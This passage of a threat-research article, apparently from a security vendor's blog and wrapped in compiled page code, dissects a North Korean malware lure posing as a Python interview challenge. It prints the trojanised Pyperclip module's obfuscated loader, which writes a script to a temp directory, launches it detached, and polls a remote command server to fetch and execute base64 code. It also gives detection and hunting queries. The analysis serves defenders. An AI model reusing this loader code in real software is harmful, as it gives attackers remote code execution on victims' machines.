has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on \",(0,t.jsx)(e.a,{href:\"https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages\",rel:\"nofollow\",children:\"research published\"}),\" by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.\"}),`\n`,(0,t.jsx)(e.li,{children:\"These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"rookerycapital_pythontestzip\",children:\"RookeryCapital_PythonTest.zip\"}),`\n`,(0,t.jsx)(e.p,{children:\"This sample is distributed under the guise of a Python coding challenge for a \\u201CCapital One\\u201D job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.\"}),`\n`,(0,t.jsx)(e.p,{children:\"We'll analyze this Python application line by line, uncovering how it:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Establishes a connection to a malicious server\"}),`\n`,(0,t.jsx)(e.li,{children:\"Executes hidden commands via remote code execution (RCE)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Uses common obfuscation techniques to fly under the radar\"}),`\n`,(0,t.jsx)(e.li,{children:\"Embeds persistent retry mechanisms to ensure successful communication\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image5.png\",alt:\"DPRK Python initial access execution flow\",title:\"DPRK Python initial access execution flow\",width:\"1999\",height:\"1775\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"passwordmanagerpy\",children:\"PasswordManager.py\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This \\u201CPython Challenge\\u201D is provided via a \",(0,t.jsx)(e.code,{children:\".zip\"}),\" file containing a Python application called \\u201CPasswordManager\\u201D. This application primarily consists of a main script, \",(0,t.jsx)(e.code,{children:\"PasswordManager.py\"}),\", and two Python modules, \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" and \",(0,t.jsx)(e.code,{children:\"Pyrebase\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image1.png\",alt:\"PasswordManager Application Contents\",title:\"PasswordManager Application Contents\",width:\"344\",height:\"574\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Examining the \",(0,t.jsx)(e.code,{children:\"README.md\"}),\" file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image4.png\",alt:\"Excerpt from \\u201CPasswordManager\\u201D application README file\",title:\"Excerpt from \\u201CPasswordManager\\u201D application README file\",width:\"1196\",height:\"286\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The main \",(0,t.jsx)(e.code,{children:\"PasswordManager.py\"}),\" file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (\",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" and \",(0,t.jsx)(e.code,{children:\"Pyrebase\"}),\") into this main script.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"pyperclip-module\",children:\"Pyperclip module\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" module has two files, \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" and \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image2.png\",alt:\"Pyperclip module files \",title:\"Pyperclip module files \",width:\"280\",height:\"124\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In Python, modules often consist of multiple files, with two important ones being \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" and \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\". The \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" file initializes a Python package, allowing it to function when imported, while the \",(0,t.jsx)(e.code,{children:\"__main__.py\"}),\" file allows the module to be run as a standalone program.\"]}),`\n`,(0,t.jsxs)(e.h5,{id:\"initpy\",children:[(0,t.jsx)(e.strong,{children:\"init\"}),\".py\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., \",(0,t.jsx)(e.code,{children:\"pbcopy\"}),\" for macOS, \",(0,t.jsx)(e.code,{children:\"xclip\"}),\" for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The imports reveal potentially interesting or suspicious functionality from libraries such as \",(0,t.jsx)(e.code,{children:\"base64\"}),\", \",(0,t.jsx)(e.code,{children:\"codecs\"}),\", \",(0,t.jsx)(e.code,{children:\"subprocess\"}),\", and \",(0,t.jsx)(e.code,{children:\"tempfile\"}),\". The \",(0,t.jsx)(e.code,{children:\"base64\"}),\" module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with \",(0,t.jsx)(e.code,{children:\"codecs\"}),\", another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The presence of the \",(0,t.jsx)(e.code,{children:\"subprocess\"}),\" module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The inclusion of the \",(0,t.jsx)(e.code,{children:\"tempfile module\"}),\" is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import contextlib\nimport ctypes\nimport os\nimport platform\nimport subprocess\nimport sys\nimport time\nimport warnings\nimport requests\nimport datetime\nimport platform\nimport codecs\nimport base64\nimport tempfile\nimport subprocess\nimport os\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.strong,{children:\"init\"}),\".py imports\"]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Analyzing the script a large base64 encoded blob assigned to the variable \",(0,t.jsx)(e.code,{children:\"req_self\"}),\" quickly stands out.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`req_self = \"aW1wb3J0IHN0\\u2026.Y29udGludWUNCg==\"\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.\"}),`\n`,(0,t.jsx)(e.h5,{id:\"obfuscated-python-script\",children:\"Obfuscated Python Script\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script imports several standard libraries (e.g., \",(0,t.jsx)(e.code,{children:\"requests\"}),\", \",(0,t.jsx)(e.code,{children:\"random\"}),\", \",(0,t.jsx)(e.code,{children:\"platform\"}),\"), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`import string\nimport random\nimport requests\nimport platform\nfrom time import sleep\nimport base64\nimport os\nimport codecs\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script imports\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script contains two functions named \",(0,t.jsx)(e.code,{children:\"co\"}),\" and \",(0,t.jsx)(e.code,{children:\"rand_n\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"co\"}),\" function operates as a helper function. This function checks the current operating system (\",(0,t.jsx)(e.code,{children:\"osn\"}),\"). It uses the \",(0,t.jsx)(e.code,{children:\"codecs.decode\"}),\" function with ROT13 encoding to decode the string \",(0,t.jsx)(e.code,{children:\"Jvaqbjf\"}),\", which results in \",(0,t.jsx)(e.code,{children:\"Windows\"}),\". If the operating system is Windows, it returns \",(0,t.jsx)(e.code,{children:\"0\"}),\"; otherwise, it returns \",(0,t.jsx)(e.code,{children:\"1\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def co(osn):\n if osn == codecs.decode('Jvaqbjf', 'rot13'):\n return 0\n else:\n return 1\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.code,{children:\"co\"}),\" function within encoded Python script\"]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Decoding ROT13 can easily be done on the macOS or Linux CLI or with the \",(0,t.jsx)(e.a,{href:\"https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)\u0026input=SnZhcWJqZg\u0026oeol=CRLF\",rel:\"nofollow\",children:\"ROT13 CyberChef recipe\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`$ echo \"Jvaqbjf\" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'\nWindows\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"rand_n\"}),\" function generates an 8-digit pseudorandom number from the string \",(0,t.jsx)(e.code,{children:\"123456789\"}),\". This is likely used as an identifier (\",(0,t.jsx)(e.code,{children:\"uid\"}),\") in further communication with the remote server.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def rand_n():\n _LENGTH = 8\n str_pool = \"123456789\"\n result = \"\"\n for i in range(_LENGTH):\n result += random.choice(str_pool)\n return result\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.strong,{children:[(0,t.jsx)(e.code,{children:\"rand_n\"}),\" function within encoded Python script\"]})}),`\n`,(0,t.jsx)(e.p,{children:\"Following the function declarations, the script defines a set of variables with hardcoded values it will use.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`uid = rand_n()\nf_run = \"\"\noi = platform.system()\nurl = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')\nheaders = {\"Content-Type\": \"application/json; charset=utf-8\"}\ndata = codecs.decode('Nznmba.pbz', 'rot13') + uid + \"pfrr\" + str(co(oi))\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script variables\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"uid\"}),\": Random identifier generated using \",(0,t.jsx)(e.code,{children:\"rand_n()\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"oi\"}),\": The operating system platform\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"url\"}),\": After decoding using ROT13, this resolves to a URL for a malicious server (\",(0,t.jsx)(e.a,{href:\"https://akamaitechnologies%5B.%5Donline\",rel:\"nofollow\",children:\"https://akamaitechnologies[.]online\"}),\"). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"data\"}),\": This is the data payload being sent to the server. It includes a decoded string (\",(0,t.jsx)(e.code,{children:\"Amazon[.]com\"}),\"), the random uid, and the result of \",(0,t.jsx)(e.code,{children:\"co(oi)\"}),\" which checks if the OS is Windows.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The last part of the script is the main while loop.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`while True:\n try:\n response = requests.post(url, headers=headers, data=data)\n if response.status_code != 200:\n sleep(60)\n continue\n else:\n res_str = response.text\n if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) \u003e 15:\n res = response.text\n borg = res[10:]\n dec_res = base64.b64decode(borg).decode('utf-8')\n\n globals()['pu_1'] = uid\n globals()['pu_2'] = url\n exec(compile(dec_res, '', 'exec'), globals())\n sleep(1)\n break\n else:\n sleep(20)\n pass\n\n except:\n sleep(60)\n continue\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Encoded Python script main while loop\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using \",(0,t.jsx)(e.code,{children:\"exec(compile(dec_res, '', 'exec'), globals())\"}),\". This allows the attacker to send arbitrary Python code to be executed on the victim's machine.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now that we understand the purpose of the encoded Python script let's go back to the \",(0,t.jsx)(e.code,{children:\"__inity__.py\"}),\" script and break down the function that executes the base64-encoded section.\"]}),`\n`,(0,t.jsxs)(e.h5,{id:\"initypy\",children:[(0,t.jsx)(e.strong,{children:\"inity\"}),\".py\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Back within the \",(0,t.jsx)(e.code,{children:\"__inity__.py\"}),\" script we can look for any other reference to the \",(0,t.jsx)(e.code,{children:\"req_self\"}),\" variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as \",(0,t.jsx)(e.code,{children:\"cert_acc\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`def cert_acc():\n ct_type = platform.system()\n l_p = tempfile.gettempdir()\n\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n\n request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\ncert_acc()\n`})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`ct_type = platform.system()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the \",(0,t.jsx)(e.code,{children:\"platform.system()\"}),\" function. The value is stored in the \",(0,t.jsx)(e.code,{children:\"ct_type\"}),\" variable.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`l_p = tempfile.gettempdir()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This variable calls the \",(0,t.jsx)(e.code,{children:\"tempfile.gettempdir() function\"}),\", which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to \",(0,t.jsx)(e.code,{children:\"l_p\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"if-else\"}),\" block takes advantage of the codecs library decode function using ROT13 to decode the string \",(0,t.jsx)(e.code,{children:\"Jvaqbjf\"}),\", which translates to \",(0,t.jsx)(e.code,{children:\"Windows\"}),\". This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be \",(0,t.jsx)(e.code,{children:\"\\\\eronfr.gzc\"}),\", \",(0,t.jsx)(e.code,{children:\"\\\\rebase.tmp\"}),\" after decoding) to the temporary directory path \",(0,t.jsx)(e.code,{children:\"l_p\"}),\". It then constructs a command \",(0,t.jsx)(e.code,{children:\"header_ops\"}),\", which likely combines the decoded \",(0,t.jsx)(e.code,{children:\"push_opr\"}),\" variable (also using ROT13) with the path.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system is not Windows, it appends a Unix-like file path \",(0,t.jsx)(e.code,{children:\"/eronfr.gzc\"}),\" (\",(0,t.jsx)(e.code,{children:\"/rebase.tmp\"}),\" after decoding) and similarly constructs a command using \",(0,t.jsx)(e.code,{children:\"push_ops\"}),\". This part of the code is designed to run different payloads or commands depending on the operating system.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n l_p = l_p + codecs.decode('\\\\\\\\eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_opr, stream_method) + l_p\n else:\n l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)\n header_ops = codecs.decode(push_ops, stream_method) + l_p\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next several statements, starting with \",(0,t.jsx)(e.code,{children:\"request_\"}),\", serve to write the Base64-encoded Python script we have already analyzed to\",(0,t.jsx)(e.code,{children:\" disk in the temporary directory. This code opens a new file in the temporary directory (\"}),\"l_p\",(0,t.jsx)(e.code,{children:\"), which was previously set depending on the system type. The variable \"}),\"req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`request_query = open(l_p, 'w')\n request_object = base64.b64decode(req_self)\n request_query.write(request_object.decode('utf-8'))\n request_query.close()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The function's final \",(0,t.jsx)(e.code,{children:\"try\"}),\" block facilitates the execution of the encoded Python script.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system type is Windows, the code attempts to execute the file (constructed in \",(0,t.jsx)(e.code,{children:\"header_ops\"}),\") using the \",(0,t.jsx)(e.code,{children:\"subprocess.Popen function\"}),\". The \",(0,t.jsx)(e.code,{children:\"DETACHED_PROCESS\"}),\" flag ensures that the process runs independently of the parent process, making it harder to track.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the system is not Windows, it runs the file using a different execution method (\",(0,t.jsx)(e.code,{children:\"subprocess.Popen\"}),\" with \",(0,t.jsx)(e.code,{children:\"shell=True\"}),\"), which is more common for Unix-like systems (Linux/macOS). The \",(0,t.jsx)(e.code,{children:\"preexec_fn=os.setpgrp\"}),\" makes the process immune to terminal interrupts, allowing it to run in the background.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`try:\n if ct_type == codecs.decode(\"Jvaqbjf\", stream_method):\n subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)\n else:\n subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)\n except:\n pass\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"cert_acc\"}),\" function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script within the \",(0,t.jsx)(e.code,{children:\"Pyperclip\"}),\" package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system\\u2019s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"campaign-intersections\",children:\"Campaign intersections\"}),`\n`,(0,t.jsx)(e.p,{children:\"When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we\\u2019ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as \\u201C\",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists\",rel:\"nofollow\",children:\"CovertCatch\"}),\".\\u201D\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as \\u201C\",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn\",rel:\"nofollow\",children:\"KandyKorn\"}),\"\\u201D that targeted CryptoCurrency developers and engineers.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-hunting-and-mitigation-strategies\",children:\"Detection, Hunting and Mitigation Strategies\"}),`\n`,(0,t.jsx)(e.p,{children:\"Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from \\u201Crecruiters\\u201D, \\u201Cdeveloper forums\\u201D, \\u201CGithub\\u201D, etc., will provide a strong foundation of defense against these attacks.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"detection-python-subprocess-shell-tempfile-execution-and-remote-network-connection\",children:\"[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`sequence by process.parent.entity_id with maxspan=3s\n[process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"sh\", \"zsh\", \"bash\") and process.args == \"-c\" and process.args : \"python*\"]\n[network where event.type == \"start\"]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dprk-code-of-conduct/image3.png\",alt:\"Sequence based Behavior Rule detection\",title:\"Sequence based Behavior Rule detection\",width:\"1999\",height:\"418\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule looks for the specific behavior exhibited when the \",(0,t.jsx)(e.code,{children:\"__init__.py\"}),\" sample writes the obfuscated Python script to disk and utilizes the \",(0,t.jsx)(e.code,{children:\"subprocess.Popen\"}),\" method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-python-executable-file-creation-in-temporary-directory\",children:\"[Hunt] Python Executable File Creation in Temporary Directory\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`file where event.type == \"modification\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\")\n and (process.name : \"python*\" or Effective_process.name : \"python*\") and file.path : (\"/private/tmp/*\", \"/tmp/*\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-interactive-shell-execution-via-python\",children:\"[Hunt] Interactive Shell Execution via Python\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where host.os.type == \"macos\" and event.type == \"start\" and event.action == \"exec\" \nand process.parent.name : \"python*\" and process.name : (\"sh\", \"zsh\", \"bash\")\n and process.args == \"-i\" and process.args_count == 2\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"hunt-suspicious-python-child-process-execution\",children:\"[Hunt] Suspicious Python Child Process Execution\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where event.type == \"start\" and event.action == \"exec\" and process.parent.name : \"python*\"\n and process.name : (\"screencapture\", \"security\", \"csrutil\", \"dscl\", \"mdfind\", \"nscurl\", \"sqlite3\", \"tclsh\", \"xattr\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion-and-future-trends\",children:\"Conclusion and Future Trends\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"resources\",children:\"Resources\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages\",rel:\"nofollow\",children:\"Fake recruiter coding tests target devs with malicious Python packages\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/\",rel:\"nofollow\",children:\"Threat Assessment: North Korean Threat Groups\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists\",rel:\"nofollow\",children:\"DeFied Expectations \\u2014 Examining Web3 Heists | Google Cloud Blog\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn\",rel:\"nofollow\",children:\"Elastic catches DPRK passing out KANDYKORN \\u2014 Elastic Security Labs\"})}),`\n`]})]})}function _(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var x=_;return w(P);})();\n;return Component;"},"_id":"articles/dprk-code-of-conduct.mdx","_raw":{"sourceFilePath":"articles/dprk-code-of-conduct.mdx","sourceFileName":"dprk-code-of-conduct.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dprk-code-of-conduct"},"type":"Article","imageUrl":"/assets/images/dprk-code-of-conduct/dprk-code-of-conduct.jpg","readingTime":"19 min 